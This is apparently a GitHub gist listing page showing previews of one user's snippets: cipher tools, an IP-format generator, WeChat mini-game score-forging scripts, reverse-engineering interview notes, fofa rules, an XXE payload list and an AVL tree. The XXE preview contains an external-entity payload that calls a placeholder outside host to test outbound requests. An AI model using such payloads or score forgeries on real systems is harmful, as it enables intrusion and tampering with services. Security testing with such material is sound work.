Skip to content

Instantly share code, notes, and snippets.

@findneo
findneo / caesar.py
Last active November 26, 2017 02:46
加解密:凯撒、摩斯电码、栅栏密码、多重base64
# by https://findneo.github.io
def caesar(s):
cycle = 26
res = []
for offset in range(26):
r = ''
for i in str(s):
if 'a' <= i <= 'z':
r += chr((ord(i) - ord('a') + offset) % cycle + ord('a'))
@findneo
findneo / gen_multiform_ip.py
Created November 26, 2017 02:48
产生多种形式的IP地址
# coding:utf8
# by https://findneo.github.io/
# ref: https://linux.die.net/man/3/inet_aton
# https://tools.ietf.org/html/draft-main-ipaddr-text-rep-02
# https://tools.ietf.org/html/rfc3986
# http://www.linuxsa.org.au/pipermail/linuxsa/2007-September/088131.html
import itertools as it
ip = '192.168.1.1'
i = ip.split('.')
@findneo
findneo / hack.js
Created January 3, 2018 06:30 — forked from Clarence-pan/hack.js
微信跳一跳, 你懂得
/*
* Recommend run with node v8.9.x or higher version
* npm install lodash crypto-js request-promise request
* node hack.js
*/
const version = 5 // the version of t1t
const score = 370 // the score you wanna get
const playTimeSeconds = score * 0.01 // simulate the playing time (seconds)
@findneo
findneo / wx_t1t_hack.js
Last active January 3, 2018 10:42 — forked from feix/wx_t1t_hack.js
微信跳一跳改分
var CryptoJS = require('crypto-js')
var request = require('request-promise')
/*
* npm install crypto-js request-promise request
* node wx_t1t_hack.js
* *** uncomment code around 120 lines and try a larger score like 100000! ***
* *** this works at 2018/1/3/ 15:19 ***
* *** https://www.v2ex.com/t/419056 ***
*/
Bài phỏng vấn Rolf Rolles của HITB hay đến từng cm :D , đây mới đúng là hacker:
http://magazine.hitb.org/issues/HITB-Ezine-Issue-005.pdf
What are your favorite reverse engineering tools?
IDA, Resource Hacker, 010 Editor, VMWare, SoftICE, and those that I develop myself.
How would you describe the process of reverse engineering to a beginner?
Step 0: Pose a question (how is the program accomplishing X?).
Step 1: Find a portion of the code relevant to the inquiry via a variety of static and dynamic means.
Step 2: Analyze that code to obtain information; annotate the binary with what you have learned.
@findneo
findneo / GitHub_nice_id.txt
Created April 19, 2018 12:26
part of all the available short id of Github
Payload
0-c
0-e
0-g
0-m
0-n
0-w
0-y
00e
00f
@findneo
findneo / fofa_rule.sql
Created June 3, 2018 15:48 — forked from Tr3jer/fofa_rule.sql
fofa_rule.sql
/*
Navicat Premium Data Transfer
Source Server : localhost
Source Server Type : MySQL
Source Server Version : 50542
Source Host : localhost
Source Database : rule
Target Server Type : MySQL
@findneo
findneo / XXE_payloads
Created August 13, 2018 10:22 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style>
body {
background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA
@findneo
findneo / avl_tree.py
Created September 25, 2018 08:59 — forked from girish3/avl_tree.py
AVL tree implementation in python
#import random, math
outputdebug = False
def debug(msg):
if outputdebug:
print msg
class Node():
def __init__(self, key):